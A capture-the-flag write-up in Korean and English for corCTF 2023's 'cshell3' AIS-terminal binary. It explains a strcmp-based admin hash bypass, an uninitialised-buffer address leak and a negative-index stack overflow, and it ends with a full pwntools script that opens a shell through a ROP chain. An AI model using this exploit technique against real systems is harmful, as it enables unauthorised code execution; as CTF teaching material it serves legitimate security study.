[CTF write up] corCTF 2023 - cshell3 : Pwning the AIS terminal

2023. 7. 31. 13:00CTF write up

cshell3

바이너리가 간단한 편은 아니었지만, 그럼에도 불구하고 매우 Basic한 문제였다.

The binary wasn't simple, but it was a very basic challenge nonetheless.

 

 

 

void VHFADMIN()
{
    
    char *username, *password;
    username = readline("Enter username: ");
    password = readline("Enter password: ");
    char l_password_hash[65] = {0};
    sha256_password(password, l_password_hash);
    if (strcmp(username, "admin") == 0 && strcmp(l_password_hash, password_hash) == 0)
    {
        printf("Welcome admin\n");
        free(username);
        free(password);
        dev_console();
    }
    else
    {
        printf("Incorrect username or password\n");
        free(username);
        free(password);
    }
}

첫번째로, dev terminal에 접근하기 위해 admin으로 로그인해야한다. strcmp로 hash를 비교하기 때문에 null byte가 포함된 hash로 간단하게 뚫을 수 있다. Brute Force로 Hashing 했을때 \x55\00으로 시작하는 문자열 "09sr"을 구할 수 있다.

 

First, you need to log in as admin to access the dev terminal. Since the hash is compared with strcmp, it can be easily penetrated with a hash containing a null byte. When hashing with Brute Force, the string "09sr" starting with \x55\00 can be obtained.

 

 

void set_name()
{
    char buff[0x10];
    printf("Enter new name:\n");
    read(STDIN_FILENO, &buff, 0x10);
    buff[0x10-1] = '\0';
    memcpy(&boats[0].boat_name, buff, 0x10);
    printf("\tNew name: %s\n", &boats[0].boat_name);
}

그 다음은, leak 취약점이다. buff를 초기화하지 않기 때문에 buff내에 ld의 주소가 남아있다.

 

Next is the leak vulnerability. Since the buff is not initialized, the address of ld remains in the buff.

 

 

void handle_bin(ais_frame_t *pFrame)
{
    char data[SLOT_MAX] = {0};
    if (crc8(pFrame->data, sizeof(pFrame->data)) != pFrame->crc)
    {
        LOG_PRINT("CRC mismatch, dropping frame.\n");
        return;
    }

    if (pFrame->type == BIN_ADDR_BDC)
    {
        AIS_BAM_BDC_t *pData = (AIS_BAM_BDC_t *)pFrame->data;
        if (pData->slot_size <=3)
            memcpy(data, &pData->data, (slot_size[pData->slot_size-1] & 0xff));
        LOG_PRINT("[%u] Received binary encoded broadcast: %s\n",pData->boat_id, &data);
        if (strstr(data, "boat_name: ") != NULL) {
            char *boat_name = strstr(data, "boat_name: ");
            boat_name += 11;
            strncpy(&boats[pData->boat_id % BOAT_NUM].boat_name, boat_name, 0x10);
        }
    }
    else if (pFrame->type == BIN_ADDR_MSG)
    {
        
        AIS_BAM_MSG_t *pData = (AIS_BAM_MSG_t *)pFrame->data;
        if (pData->dest_id != myId)
        {
            LOG_PRINT("Message not for me, dropping frame.\n");
            return;
        }
        if (pData->slot_size <=3)
            printf("copying %d\n",  (slot_size[pData->slot_size-1] & 0xff));
            memcpy(data, &pData->data, (slot_size[pData->slot_size-1] & 0xff));
        LOG_PRINT("[%u] Received binary encoded message: %s\n", pData->boat_id, &data);
    }
    else
    {
        LOG_PRINT("Unknown binary encoded message type: %d\n", pFrame->type);
    }
}

마지막으로,  Stack Buffer Overflow 취약점이 존재한다. send_bin_msg 함수를 보면 pData->slot_size에 원하는 값을 넣을 수 있다. 따라서 pData->slot_size에 음수 값을 넣으면 memcpy(data, &pData->data, (slot_size[pData->slot_size-1] & 0xff)); OOB를 일으키고 data의 크기 0x50보다 큰 size 값을 가져올 수 있다. 따라서 Stack Buffer Overflow가 발생한다.

 

Finally, there is a Stack Buffer Overflow vulnerability. If you look at the send_bin_msg function, you can put the desired value in pData->slot_size. So if you put a negative value in pData->slot_size, memcpy(data, &pData->data, (slot_size[pData->slot_size-1] & 0xff)); It can cause OOB and bring size value greater than 0x50 of data size. Therefore, Stack Buffer Overflow occurs.

 

 

gdb

Canary가 없기 때문에 바로 ROP를 하면 풀린다. 이때 유출한 주소가 ld이기 때문에 ld에 있는 syscall gadget으로 ROP를 해주었다. ld의 주소에 +- 0x1000*i Brute Force를 하면 libc base를 구할 수 있기는 하지만 꽤 오래걸린다.

 

Since there is no canary, if you can ROP right away, it will be solved. At this time, since the leaked address was ld, ROP was performed with the syscall gadget in ld. If +- 0x1000*i Brute Force is applied to the address of ld, libc base can be obtained, but it takes quite a long time.

 

from pwn import *

#context.log_level = 'debug'
p = process(["boat.exe","1","4001"])
#p = process(["./start_boats.sh"])
#p = process(["./boat.exe"], env={'LD_PRELOAD':'./libc.so.6'})

p = remote("be.ax", 30190)

p.sendline(b'name boat')
p.sendline(b'a'*7)

lic = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
ld_base = lic - 0x3b2e0
print(f'ld_base : {hex(ld_base)}')
libc_base = lic - 0x7f32e0
print(f'libc_base : {hex(libc_base)}')
raw_input()

p.sendline(b'.cshelladmin')
p.sendline(b'admin')
p.sendline(b'09sr')

p.sendline(b'send_bin_msg')
p.sendline(b'-80')
p.sendline(b'4001')
p.sendline(b'/bin/sh\x00'+b'a'*0x80+p64(ld_base+0x00000000000054da)+p64(0x0)+p64(ld_base+0x0000000000020342)+p64(0x3b)+p64(0x0)+p64(0x0)+p64(ld_base+0x000000000000cbc6))

p.interactive()